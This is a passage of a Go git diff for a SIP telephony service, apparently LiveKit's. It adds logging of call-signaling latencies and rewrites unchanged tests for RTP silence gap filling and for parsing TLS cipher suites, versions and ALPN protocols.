struct { + // Inbound: INVITE received; Outbound: INVITE sent. + InviteTime time.Time + + // Inbound: 100 Trying sent; Outbound: 100 Trying received. + // Zero if 100 Trying was never sent/received. + TryingTime time.Time + + // Inbound: first 180/183 sent; Outbound: first 180/183 received. + RingingTime time.Time + + // Inbound: 200 OK sent; Outbound: 200 OK received. + AcceptTime time.Time + + // Outbound only: time the API request was received (call creation). + APITime time.Time + + // Outbound only: ACK sent after receiving 200 OK. + AckTime time.Time +} + +func (ts *SignalingTimestamps) Log(log logger.Logger) { + if ts.InviteTime.IsZero() { + return + } + + var fields []interface{} + + // Outbound: API -> INVITE sent + if !ts.APITime.IsZero() { + fields = append(fields, "apiToInviteMs", ts.InviteTime.Sub(ts.APITime).Milliseconds()) + } + + // INVITE -> 100 Trying + if !ts.TryingTime.IsZero() { + fields = append(fields, "inviteToTryingMs", ts.TryingTime.Sub(ts.InviteTime).Milliseconds()) + } + + // INVITE -> first 180/183 Ringing + if !ts.RingingTime.IsZero() { + fields = append(fields, "inviteToRingingMs", ts.RingingTime.Sub(ts.InviteTime).Milliseconds()) + } + + // INVITE -> 200 OK + if !ts.AcceptTime.IsZero() { + fields = append(fields, "inviteToAcceptMs", ts.AcceptTime.Sub(ts.InviteTime).Milliseconds()) + } + + // 200 OK -> ACK (outbound) + if !ts.AckTime.IsZero() && !ts.AcceptTime.IsZero() { + fields = append(fields, "acceptToAckMs", ts.AckTime.Sub(ts.AcceptTime).Milliseconds()) + } + + // Total outbound: API -> ACK + if !ts.APITime.IsZero() && !ts.AckTime.IsZero() { + fields = append(fields, "apiToAckMs", ts.AckTime.Sub(ts.APITime).Milliseconds()) + } + + log.Infow("signaling timestamps", fields...) +} diff --git a/pkg/sip/silence_filler_test.go b/pkg/sip/silence_filler_test.go index 1c45ba5a1..41bd80331 100644 --- a/pkg/sip/silence_filler_test.go +++ b/pkg/sip/silence_filler_test.go @@ -1,314 +1,314 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "slices" - "testing" - - "github.com/stretchr/testify/require" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/rtp" - "github.com/livekit/protocol/logger" -) - -// Both a rtp.Handler and msdk.PCM16Writer designed to test the silence suppression handler -type SilenceSuppressionTester struct { - audioSampleRate int - clockRate int // RTP clock rate (may differ from sample rate for G722) - framesReceived []bool // true if received a signal frame, false if it was generated silence - receivedSilenceFrames uint64 - receivedSignalFrames uint64 - sampleCounts []int // number of samples in each silence frame - gapFiller rtp.Handler -} - -type silenceSuppressionTesterOption func(*SilenceSuppressionTester) - -func WithClockRate(clockRate int) silenceSuppressionTesterOption { - return func(s *SilenceSuppressionTester) { - s.clockRate = clockRate - } -} - -type nopCloser struct { - *SilenceSuppressionTester -} - -func (s nopCloser) Close() error { - return nil -} - -func newSilenceSuppressionTester(audioSampleRate int, log logger.Logger, options ...silenceSuppressionTesterOption) *SilenceSuppressionTester { - tester := &SilenceSuppressionTester{ - audioSampleRate: audioSampleRate, - clockRate: audioSampleRate, // default to same as sample rate - framesReceived: make([]bool, 0), - sampleCounts: make([]int, 0), - receivedSilenceFrames: 0, - receivedSignalFrames: 0, - } - for _, option := range options { - option(tester) - } - tester.gapFiller = newSilenceFiller(tester, nopCloser{tester}, tester.clockRate, tester.audioSampleRate, log) - return tester -} - -func (s *SilenceSuppressionTester) String() string { - return "SilenceSuppressionTester" -} - -func (s *SilenceSuppressionTester) SampleRate() int { - return s.audioSampleRate -} - -func (s *SilenceSuppressionTester) Close() { -} - -func (s *SilenceSuppressionTester) WriteSample(sample msdk.PCM16Sample) error { - s.framesReceived = append(s.framesReceived, false) - s.sampleCounts = append(s.sampleCounts, len(sample)) - s.receivedSilenceFrames++ - return nil -} - -func (s *SilenceSuppressionTester) HandleRTP(h *rtp.Header, payload []byte) error { - s.framesReceived = append(s.framesReceived, true) - s.sampleCounts = append(s.sampleCounts, len(payload)) - s.receivedSignalFrames++ - return nil -} - -func (s *SilenceSuppressionTester) SendSignalFrames(count int, nextSeq uint16, nextTimestamp uint32) (uint16, uint32, error) { - samplesPerFrame := s.audioSampleRate / rtp.DefFramesPerSec - clockPerFrame := s.clockRate / rtp.DefFramesPerSec - for i := 0; i < count; i++ { - h := &rtp.Header{ - SequenceNumber: nextSeq, - Timestamp: nextTimestamp, - } - nextSeq++ - nextTimestamp += uint32(clockPerFrame) - payload := make([]byte, samplesPerFrame) - err := s.gapFiller.HandleRTP(h, payload) - if err != nil { - return nextSeq, nextTimestamp, err - } - } - return nextSeq, nextTimestamp, nil -} - -func (s *SilenceSuppressionTester) assertSilenceIndexes(t *testing.T, expectedSize int, silenceIndexes []int) { - samplesPerFrame := s.audioSampleRate / rtp.DefFramesPerSec - require.Equal(t, expectedSize, len(s.framesReceived)) - require.Equal(t, expectedSize, len(s.sampleCounts)) - require.Equal(t, uint64(len(silenceIndexes)), s.receivedSilenceFrames) - require.Equal(t, uint64(expectedSize-len(silenceIndexes)), s.receivedSignalFrames) - for i, isSignal := range s.framesReceived { - if slices.Contains(silenceIndexes, i) { - require.False(t, isSignal, "frame %d should be silence", i) - } else { - require.True(t, isSignal, "frame %d should be signal", i) - } - require.Equal(t, samplesPerFrame, s.sampleCounts[i], "frame %d should have %d samples instead of %d", i, samplesPerFrame, s.sampleCounts[i]) - } - for _, index := range silenceIndexes { // Make sure we're not missing any indexes - if index < 0 || index >= expectedSize { - t.Fatalf("index %d out of range", index) - } - } -} - -func TestSilenceSuppressionHandling(t *testing.T) { - const ( - sampleRate = 8000 - samplesPerFrame = uint32(sampleRate / rtp.DefFramesPerSec) // 160 samples per 20ms frame - ) - - t.Run("no gap", func(t *testing.T) { - log := logger.NewTestLogger(t) - tester := newSilenceSuppressionTester(sampleRate, log) - _, _, err := tester.SendSignalFrames(10, 100, 1000) - require.NoError(t, err) - - tester.assertSilenceIndexes(t, 10, []int{}) - }) - - t.Run("single frame gap", func(t *testing.T) { - log := logger.NewTestLogger(t) - tester := newSilenceSuppressionTester(sampleRate, log) - - nextSeq := uint16(100) - nextTimestamp := uint32(10000) - nextSeq, nextTimestamp, err := tester.SendSignalFrames(5, nextSeq, nextTimestamp) - require.NoError(t, err) - missingFrameCount := 1 - nextTimestamp += uint32(missingFrameCount) * samplesPerFrame - _, _, err = tester.SendSignalFrames(5, nextSeq, nextTimestamp) - require.NoError(t, err) - - tester.assertSilenceIndexes(t, 11, []int{5}) - }) - - t.Run("handful of frames gap", func(t *testing.T) { - log := logger.NewTestLogger(t) - tester := newSilenceSuppressionTester(sampleRate, log) - - nextSeq := uint16(100) - nextTimestamp := uint32(10000) - nextSeq, nextTimestamp, err := tester.SendSignalFrames(5, nextSeq, nextTimestamp) - require.NoError(t, err) - missingFrameCount := 3 - nextTimestamp += uint32(missingFrameCount) * samplesPerFrame - _, _, err = tester.SendSignalFrames(5, nextSeq, nextTimestamp) - require.NoError(t, err) - - tester.assertSilenceIndexes(t, 13, []int{5, 6, 7}) - }) - - t.Run("large gap that's not filled", func(t *testing.T) { - log := logger.NewTestLogger(t) - tester := newSilenceSuppressionTester(sampleRate, log) - - nextSeq := uint16(100) - nextTimestamp := uint32(10000) - nextSeq, nextTimestamp, err := tester.SendSignalFrames(5, nextSeq, nextTimestamp) - require.NoError(t, err) - missingFrameCount := 50 // Too large, shouldn't be filled - nextTimestamp += uint32(missingFrameCount) * samplesPerFrame - _, _, err = tester.SendSignalFrames(5, nextSeq, nextTimestamp) - require.NoError(t, err) - - tester.assertSilenceIndexes(t, 10, []int{}) - }) - - t.Run("timestamp wrap-around no gap", func(t *testing.T) { - log := logger.NewTestLogger(t) - tester := newSilenceSuppressionTester(sampleRate, log) - - // Start near wrap-around - nextSeq := uint16(100) - nextTimestamp := uint32(0xFFFFFF00) // Near wrap-around - _, _, err := tester.SendSignalFrames(5, nextSeq, nextTimestamp) - require.NoError(t, err) - - tester.assertSilenceIndexes(t, 5, []int{}) - }) - - t.Run("timestamp wrap-around with gap", func(t *testing.T) { - log := logger.NewTestLogger(t) - tester := newSilenceSuppressionTester(sampleRate, log) - - // 2 signal + 3 silence (across wrap-around) + 2 signal = 7 total - nextSeq := uint16(100) - nextTimestamp := uint32(0xFFFFFF00) - nextSeq, nextTimestamp, err := tester.SendSignalFrames(2, nextSeq, nextTimestamp) - require.NoError(t, err) - missingFrameCount := 3 - nextTimestamp += uint32(missingFrameCount) * samplesPerFrame - _, _, err = tester.SendSignalFrames(2, nextSeq, nextTimestamp) - require.NoError(t, err) - - tester.assertSilenceIndexes(t, 7, []int{2, 3, 4}) - }) - - t.Run("sequence wrap-around no gap", func(t *testing.T) { - log := logger.NewTestLogger(t) - tester := newSilenceSuppressionTester(sampleRate, log) - - // Start near sequence wrap-around - nextSeq := uint16(0xFFFE) - nextTimestamp := uint32(10000) - _, _, err := tester.SendSignalFrames(4, nextSeq, nextTimestamp) - require.NoError(t, err) - - tester.assertSilenceIndexes(t, 4, []int{}) - }) - - t.Run("sequence wrap-around with gap", func(t *testing.T) { - log := logger.NewTestLogger(t) - tester := newSilenceSuppressionTester(sampleRate, log) - - // Start near sequence wrap-around - nextSeq := uint16(0xFFFE) - nextTimestamp := uint32(10000) - nextSeq, nextTimestamp, err := tester.SendSignalFrames(2, nextSeq, nextTimestamp) - require.NoError(t, err) - missingFrameCount := 3 - nextTimestamp += uint32(missingFrameCount) * samplesPerFrame - _, _, err = tester.SendSignalFrames(2, nextSeq, nextTimestamp) - require.NoError(t, err) - - tester.assertSilenceIndexes(t, 7, []int{2, 3, 4}) - }) -} -func TestSilenceSuppressionDifferentCodecs(t *testing.T) { - testCases := []struct { - name string - clockRate int - sampleRate int - description string - }{ - { - name: "PCMU", - clockRate: 8000, - sampleRate: 8000, - description: "PCMU: 8kHz clock rate / 8kHz sample rate", - }, - { - name: "PCMA", - clockRate: 8000, - sampleRate: 8000, - description: "PCMA: 8kHz clock rate / 8kHz sample rate", - }, - { - name: "Opus", - clockRate: 48000, - sampleRate: 48000, - description: "Opus: 48kHz clock rate / 48kHz sample rate", - }, - { - name: "G722", - clockRate: 8000, - sampleRate: 16000, - description: "G722: 8kHz clock rate / 16kHz sample rate", - }, - } - - for _, tc := range testCases { - t.Run(tc.name, func(t *testing.T) { - log := logger.NewTestLogger(t) - tester := newSilenceSuppressionTester(tc.sampleRate, log, WithClockRate(tc.clockRate)) - tsPerFrame := uint32(tc.clockRate / rtp.DefFramesPerSec) - - // Send 5 frames, then create a gap of 2 frames, then send 5 more frames - nextSeq := uint16(100) - nextTimestamp := uint32(10000) - nextSeq, nextTimestamp, err := tester.SendSignalFrames(5, nextSeq, nextTimestamp) - require.NoError(t, err) - - // Create a gap of 2 frames by incrementing timestamp - missingFrameCount := 2 - nextTimestamp += uint32(missingFrameCount) * tsPerFrame - nextSeq, nextTimestamp, err = tester.SendSignalFrames(5, nextSeq, nextTimestamp) - require.NoError(t, err) - - // Should have 5 signal + 2 silence + 5 signal = 12 total frames - tester.assertSilenceIndexes(t, 12, []int{5, 6}) - }) - } -} +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "slices" + "testing" + + "github.com/stretchr/testify/require" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/rtp" + "github.com/livekit/protocol/logger" +) + +// Both a rtp.Handler and msdk.PCM16Writer designed to test the silence suppression handler +type SilenceSuppressionTester struct { + audioSampleRate int + clockRate int // RTP clock rate (may differ from sample rate for G722) + framesReceived []bool // true if received a signal frame, false if it was generated silence + receivedSilenceFrames uint64 + receivedSignalFrames uint64 + sampleCounts []int // number of samples in each silence frame + gapFiller rtp.Handler +} + +type silenceSuppressionTesterOption func(*SilenceSuppressionTester) + +func WithClockRate(clockRate int) silenceSuppressionTesterOption { + return func(s *SilenceSuppressionTester) { + s.clockRate = clockRate + } +} + +type nopCloser struct { + *SilenceSuppressionTester +} + +func (s nopCloser) Close() error { + return nil +} + +func newSilenceSuppressionTester(audioSampleRate int, log logger.Logger, options ...silenceSuppressionTesterOption) *SilenceSuppressionTester { + tester := &SilenceSuppressionTester{ + audioSampleRate: audioSampleRate, + clockRate: audioSampleRate, // default to same as sample rate + framesReceived: make([]bool, 0), + sampleCounts: make([]int, 0), + receivedSilenceFrames: 0, + receivedSignalFrames: 0, + } + for _, option := range options { + option(tester) + } + tester.gapFiller = newSilenceFiller(tester, nopCloser{tester}, tester.clockRate, tester.audioSampleRate, log) + return tester +} + +func (s *SilenceSuppressionTester) String() string { + return "SilenceSuppressionTester" +} + +func (s *SilenceSuppressionTester) SampleRate() int { + return s.audioSampleRate +} + +func (s *SilenceSuppressionTester) Close() { +} + +func (s *SilenceSuppressionTester) WriteSample(sample msdk.PCM16Sample) error { + s.framesReceived = append(s.framesReceived, false) + s.sampleCounts = append(s.sampleCounts, len(sample)) + s.receivedSilenceFrames++ + return nil +} + +func (s *SilenceSuppressionTester) HandleRTP(h *rtp.Header, payload []byte) error { + s.framesReceived = append(s.framesReceived, true) + s.sampleCounts = append(s.sampleCounts, len(payload)) + s.receivedSignalFrames++ + return nil +} + +func (s *SilenceSuppressionTester) SendSignalFrames(count int, nextSeq uint16, nextTimestamp uint32) (uint16, uint32, error) { + samplesPerFrame := s.audioSampleRate / rtp.DefFramesPerSec + clockPerFrame := s.clockRate / rtp.DefFramesPerSec + for i := 0; i < count; i++ { + h := &rtp.Header{ + SequenceNumber: nextSeq, + Timestamp: nextTimestamp, + } + nextSeq++ + nextTimestamp += uint32(clockPerFrame) + payload := make([]byte, samplesPerFrame) + err := s.gapFiller.HandleRTP(h, payload) + if err != nil { + return nextSeq, nextTimestamp, err + } + } + return nextSeq, nextTimestamp, nil +} + +func (s *SilenceSuppressionTester) assertSilenceIndexes(t *testing.T, expectedSize int, silenceIndexes []int) { + samplesPerFrame := s.audioSampleRate / rtp.DefFramesPerSec + require.Equal(t, expectedSize, len(s.framesReceived)) + require.Equal(t, expectedSize, len(s.sampleCounts)) + require.Equal(t, uint64(len(silenceIndexes)), s.receivedSilenceFrames) + require.Equal(t, uint64(expectedSize-len(silenceIndexes)), s.receivedSignalFrames) + for i, isSignal := range s.framesReceived { + if slices.Contains(silenceIndexes, i) { + require.False(t, isSignal, "frame %d should be silence", i) + } else { + require.True(t, isSignal, "frame %d should be signal", i) + } + require.Equal(t, samplesPerFrame, s.sampleCounts[i], "frame %d should have %d samples instead of %d", i, samplesPerFrame, s.sampleCounts[i]) + } + for _, index := range silenceIndexes { // Make sure we're not missing any indexes + if index < 0 || index >= expectedSize { + t.Fatalf("index %d out of range", index) + } + } +} + +func TestSilenceSuppressionHandling(t *testing.T) { + const ( + sampleRate = 8000 + samplesPerFrame = uint32(sampleRate / rtp.DefFramesPerSec) // 160 samples per 20ms frame + ) + + t.Run("no gap", func(t *testing.T) { + log := logger.NewTestLogger(t) + tester := newSilenceSuppressionTester(sampleRate, log) + _, _, err := tester.SendSignalFrames(10, 100, 1000) + require.NoError(t, err) + + tester.assertSilenceIndexes(t, 10, []int{}) + }) + + t.Run("single frame gap", func(t *testing.T) { + log := logger.NewTestLogger(t) + tester := newSilenceSuppressionTester(sampleRate, log) + + nextSeq := uint16(100) + nextTimestamp := uint32(10000) + nextSeq, nextTimestamp, err := tester.SendSignalFrames(5, nextSeq, nextTimestamp) + require.NoError(t, err) + missingFrameCount := 1 + nextTimestamp += uint32(missingFrameCount) * samplesPerFrame + _, _, err = tester.SendSignalFrames(5, nextSeq, nextTimestamp) + require.NoError(t, err) + + tester.assertSilenceIndexes(t, 11, []int{5}) + }) + + t.Run("handful of frames gap", func(t *testing.T) { + log := logger.NewTestLogger(t) + tester := newSilenceSuppressionTester(sampleRate, log) + + nextSeq := uint16(100) + nextTimestamp := uint32(10000) + nextSeq, nextTimestamp, err := tester.SendSignalFrames(5, nextSeq, nextTimestamp) + require.NoError(t, err) + missingFrameCount := 3 + nextTimestamp += uint32(missingFrameCount) * samplesPerFrame + _, _, err = tester.SendSignalFrames(5, nextSeq, nextTimestamp) + require.NoError(t, err) + + tester.assertSilenceIndexes(t, 13, []int{5, 6, 7}) + }) + + t.Run("large gap that's not filled", func(t *testing.T) { + log := logger.NewTestLogger(t) + tester := newSilenceSuppressionTester(sampleRate, log) + + nextSeq := uint16(100) + nextTimestamp := uint32(10000) + nextSeq, nextTimestamp, err := tester.SendSignalFrames(5, nextSeq, nextTimestamp) + require.NoError(t, err) + missingFrameCount := 50 // Too large, shouldn't be filled + nextTimestamp += uint32(missingFrameCount) * samplesPerFrame + _, _, err = tester.SendSignalFrames(5, nextSeq, nextTimestamp) + require.NoError(t, err) + + tester.assertSilenceIndexes(t, 10, []int{}) + }) + + t.Run("timestamp wrap-around no gap", func(t *testing.T) { + log := logger.NewTestLogger(t) + tester := newSilenceSuppressionTester(sampleRate, log) + + // Start near wrap-around + nextSeq := uint16(100) + nextTimestamp := uint32(0xFFFFFF00) // Near wrap-around + _, _, err := tester.SendSignalFrames(5, nextSeq, nextTimestamp) + require.NoError(t, err) + + tester.assertSilenceIndexes(t, 5, []int{}) + }) + + t.Run("timestamp wrap-around with gap", func(t *testing.T) { + log := logger.NewTestLogger(t) + tester := newSilenceSuppressionTester(sampleRate, log) + + // 2 signal + 3 silence (across wrap-around) + 2 signal = 7 total + nextSeq := uint16(100) + nextTimestamp := uint32(0xFFFFFF00) + nextSeq, nextTimestamp, err := tester.SendSignalFrames(2, nextSeq, nextTimestamp) + require.NoError(t, err) + missingFrameCount := 3 + nextTimestamp += uint32(missingFrameCount) * samplesPerFrame + _, _, err = tester.SendSignalFrames(2, nextSeq, nextTimestamp) + require.NoError(t, err) + + tester.assertSilenceIndexes(t, 7, []int{2, 3, 4}) + }) + + t.Run("sequence wrap-around no gap", func(t *testing.T) { + log := logger.NewTestLogger(t) + tester := newSilenceSuppressionTester(sampleRate, log) + + // Start near sequence wrap-around + nextSeq := uint16(0xFFFE) + nextTimestamp := uint32(10000) + _, _, err := tester.SendSignalFrames(4, nextSeq, nextTimestamp) + require.NoError(t, err) + + tester.assertSilenceIndexes(t, 4, []int{}) + }) + + t.Run("sequence wrap-around with gap", func(t *testing.T) { + log := logger.NewTestLogger(t) + tester := newSilenceSuppressionTester(sampleRate, log) + + // Start near sequence wrap-around + nextSeq := uint16(0xFFFE) + nextTimestamp := uint32(10000) + nextSeq, nextTimestamp, err := tester.SendSignalFrames(2, nextSeq, nextTimestamp) + require.NoError(t, err) + missingFrameCount := 3 + nextTimestamp += uint32(missingFrameCount) * samplesPerFrame + _, _, err = tester.SendSignalFrames(2, nextSeq, nextTimestamp) + require.NoError(t, err) + + tester.assertSilenceIndexes(t, 7, []int{2, 3, 4}) + }) +} +func TestSilenceSuppressionDifferentCodecs(t *testing.T) { + testCases := []struct { + name string + clockRate int + sampleRate int + description string + }{ + { + name: "PCMU", + clockRate: 8000, + sampleRate: 8000, + description: "PCMU: 8kHz clock rate / 8kHz sample rate", + }, + { + name: "PCMA", + clockRate: 8000, + sampleRate: 8000, + description: "PCMA: 8kHz clock rate / 8kHz sample rate", + }, + { + name: "Opus", + clockRate: 48000, + sampleRate: 48000, + description: "Opus: 48kHz clock rate / 48kHz sample rate", + }, + { + name: "G722", + clockRate: 8000, + sampleRate: 16000, + description: "G722: 8kHz clock rate / 16kHz sample rate", + }, + } + + for _, tc := range testCases { + t.Run(tc.name, func(t *testing.T) { + log := logger.NewTestLogger(t) + tester := newSilenceSuppressionTester(tc.sampleRate, log, WithClockRate(tc.clockRate)) + tsPerFrame := uint32(tc.clockRate / rtp.DefFramesPerSec) + + // Send 5 frames, then create a gap of 2 frames, then send 5 more frames + nextSeq := uint16(100) + nextTimestamp := uint32(10000) + nextSeq, nextTimestamp, err := tester.SendSignalFrames(5, nextSeq, nextTimestamp) + require.NoError(t, err) + + // Create a gap of 2 frames by incrementing timestamp + missingFrameCount := 2 + nextTimestamp += uint32(missingFrameCount) * tsPerFrame + nextSeq, nextTimestamp, err = tester.SendSignalFrames(5, nextSeq, nextTimestamp) + require.NoError(t, err) + + // Should have 5 signal + 2 silence + 5 signal = 12 total frames + tester.assertSilenceIndexes(t, 12, []int{5, 6}) + }) + } +} diff --git a/pkg/sip/tls_test.go b/pkg/sip/tls_test.go index 4d55254a9..5dfee1210 100644 --- a/pkg/sip/tls_test.go +++ b/pkg/sip/tls_test.go @@ -1,163 +1,163 @@ -package sip - -import ( - "crypto/tls" - "testing" - - "github.com/livekit/protocol/logger" - "github.com/stretchr/testify/require" -) - -func TestParseCipherSuites(t *testing.T) { - log := logger.NewTestLogger(t) - - t.Run("valid cipher suites - secure", func(t *testing.T) { - cipherSuites := []string{ - "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", - "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", - } - - suites, err := parseCipherSuites(log, cipherSuites) - - require.NoError(t, err) - require.Equal(t, len(cipherSuites), len(suites)) - require.Equal(t, uint16(tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256), suites[0]) - require.Equal(t, uint16(tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA), suites[1]) - require.Equal(t, uint16(tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256), suites[2]) - }) - - t.Run("valid cipher suites - insecure", func(t *testing.T) { - cipherSuites := []string{ - "TLS_RSA_WITH_RC4_128_SHA", - "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - } - - suites, err := parseCipherSuites(log, cipherSuites) - - require.NoError(t, err) - require.Equal(t, len(cipherSuites), len(suites)) - require.Equal(t, uint16(tls.TLS_RSA_WITH_RC4_128_SHA), suites[0]) - require.Equal(t, uint16(tls.TLS_RSA_WITH_3DES_EDE_CBC_SHA), suites[1]) - require.Equal(t, uint16(tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA), suites[2]) - }) - - t.Run("cipher suite - mixed", func(t *testing.T) { - cipherSuites := []string{ - "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", - "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - } - - suites, err := parseCipherSuites(log, cipherSuites) - - require.NoError(t, err) - require.Equal(t, len(cipherSuites), len(suites)) - require.Equal(t, uint16(tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256), suites[0]) - require.Equal(t, uint16(tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA), suites[1]) - }) - - t.Run("invalid cipher site", func(t *testing.T) { - cipherSuites := []string{ - "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "INVALID_CIPHER_SUITE", - } - - _, err := parseCipherSuites(log, cipherSuites) - - require.Error(t, err) - require.Contains(t, err.Error(), "unknown cipher suite: INVALID_CIPHER_SUITE") - }) -} -func TestParseTLSVersion(t *testing.T) { - t.Run("empty string", func(t *testing.T) { - version, err := parseTLSVersion("") - require.NoError(t, err) - require.Equal(t, uint16(0), version) - }) - - t.Run("TLS 1.0 - lowercase format", func(t *testing.T) { - version, err := parseTLSVersion("tls1.0") - require.NoError(t, err) - require.Equal(t, uint16(tls.VersionTLS10), version) - }) - - t.Run("TLS 1.0 - uppercase format", func(t *testing.T) { - version, err := parseTLSVersion("TLS1.0") - require.NoError(t, err) - require.Equal(t, uint16(tls.VersionTLS10), version) - }) - - t.Run("TLS 1.1 - lowercase format", func(t *testing.T) { - version, err := parseTLSVersion("tls1.1") - require.NoError(t, err) - require.Equal(t, uint16(tls.VersionTLS11), version) - }) - - t.Run("TLS 1.1 - uppercase format", func(t *testing.T) { - version, err := parseTLSVersion("TLS1.1") - require.NoError(t, err) - require.Equal(t, uint16(tls.VersionTLS11), version) - }) - - t.Run("TLS 1.2 - lowercase format", func(t *testing.T) { - version, err := parseTLSVersion("tls1.2") - require.NoError(t, err) - require.Equal(t, uint16(tls.VersionTLS12), version) - }) - - t.Run("TLS 1.2 - uppercase format", func(t *testing.T) { - version, err := parseTLSVersion("TLS1.2") - require.NoError(t, err) - require.Equal(t, uint16(tls.VersionTLS12), version) - }) - - t.Run("TLS 1.3 - lowercase format", func(t *testing.T) { - version, err := parseTLSVersion("tls1.3") - require.NoError(t, err) - require.Equal(t, uint16(tls.VersionTLS13), version) - }) - - t.Run("TLS 1.3 - uppercase format", func(t *testing.T) { - version, err := parseTLSVersion("TLS1.3") - require.NoError(t, err) - require.Equal(t, uint16(tls.VersionTLS13), version) - }) - - t.Run("invalid version", func(t *testing.T) { - _, err := parseTLSVersion("tls1.4") - require.Error(t, err) - require.Contains(t, err.Error(), "unknown TLS version: tls1.4") - }) - - t.Run("invalid format", func(t *testing.T) { - _, err := parseTLSVersion("TLS 1.2") - require.Error(t, err) - require.Contains(t, err.Error(), "unknown TLS version: TLS 1.2") - }) -} - -func TestTLSALPNProtocols(t *testing.T) { - t.Run("nil returns default sip", func(t *testing.T) { - protos := tlsALPNProtocols(nil) - require.Equal(t, []string{"sip"}, protos) - }) - - t.Run("empty slice disables ALPN", func(t *testing.T) { - empty := []string{} - protos := tlsALPNProtocols(empty) - require.Empty(t, protos) - }) - - t.Run("custom protocols", func(t *testing.T) { - custom := []string{"h2", "http/1.1"} - protos := tlsALPNProtocols(custom) - require.Equal(t, []string{"h2", "http/1.1"}, protos) - }) - - t.Run("single custom protocol", func(t *testing.T) { - custom := []string{"sip"} - protos := tlsALPNProtocols(custom) - require.Equal(t, []string{"sip"}, protos) - }) -} +package sip + +import ( + "crypto/tls" + "testing" + + "github.com/livekit/protocol/logger" + "github.com/stretchr/testify/require" +) + +func TestParseCipherSuites(t *testing.T) { + log := logger.NewTestLogger(t) + + t.Run("valid cipher suites - secure", func(t *testing.T) { + cipherSuites := []string{ + "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", + "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", + } + + suites, err := parseCipherSuites(log, cipherSuites) + + require.NoError(t, err) + require.Equal(t, len(cipherSuites), len(suites)) + require.Equal(t, uint16(tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256), suites[0]) + require.Equal(t, uint16(tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA), suites[1]) + require.Equal(t, uint16(tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256), suites[2]) + }) + + t.Run("valid cipher suites - insecure", func(t *testing.T) { + cipherSuites := []string{ + "TLS_RSA_WITH_RC4_128_SHA", + "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + } + + suites, err := parseCipherSuites(log, cipherSuites) + + require.NoError(t, err) + require.Equal(t, len(cipherSuites), len(suites)) + require.Equal(t, uint16(tls.TLS_RSA_WITH_RC4_128_SHA), suites[0]) + require.Equal(t, uint16(tls.TLS_RSA_WITH_3DES_EDE_CBC_SHA), suites[1]) + require.Equal(t, uint16(tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA), suites[2]) + }) + + t.Run("cipher suite - mixed", func(t *testing.T) { + cipherSuites := []string{ + "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", + "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + } + + suites, err := parseCipherSuites(log, cipherSuites) + + require.NoError(t, err) + require.Equal(t, len(cipherSuites), len(suites)) + require.Equal(t, uint16(tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256), suites[0]) + require.Equal(t, uint16(tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA), suites[1]) + }) + + t.Run("invalid cipher site", func(t *testing.T) { + cipherSuites := []string{ + "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "INVALID_CIPHER_SUITE", + } + + _, err := parseCipherSuites(log, cipherSuites) + + require.Error(t, err) + require.Contains(t, err.Error(), "unknown cipher suite: INVALID_CIPHER_SUITE") + }) +} +func TestParseTLSVersion(t *testing.T) { + t.Run("empty string", func(t *testing.T) { + version, err := parseTLSVersion("") + require.NoError(t, err) + require.Equal(t, uint16(0), version) + }) + + t.Run("TLS 1.0 - lowercase format", func(t *testing.T) { + version, err := parseTLSVersion("tls1.0") + require.NoError(t, err) + require.Equal(t, uint16(tls.VersionTLS10), version) + }) + + t.Run("TLS 1.0 - uppercase format", func(t *testing.T) { + version, err := parseTLSVersion("TLS1.0") + require.NoError(t, err) + require.Equal(t, uint16(tls.VersionTLS10), version) + }) + + t.Run("TLS 1.1 - lowercase format", func(t *testing.T) { + version, err := parseTLSVersion("tls1.1") + require.NoError(t, err) + require.Equal(t, uint16(tls.VersionTLS11), version) + }) + + t.Run("TLS 1.1 - uppercase format", func(t *testing.T) { + version, err := parseTLSVersion("TLS1.1") + require.NoError(t, err) + require.Equal(t, uint16(tls.VersionTLS11), version) + }) + + t.Run("TLS 1.2 - lowercase format", func(t *testing.T) { + version, err := parseTLSVersion("tls1.2") + 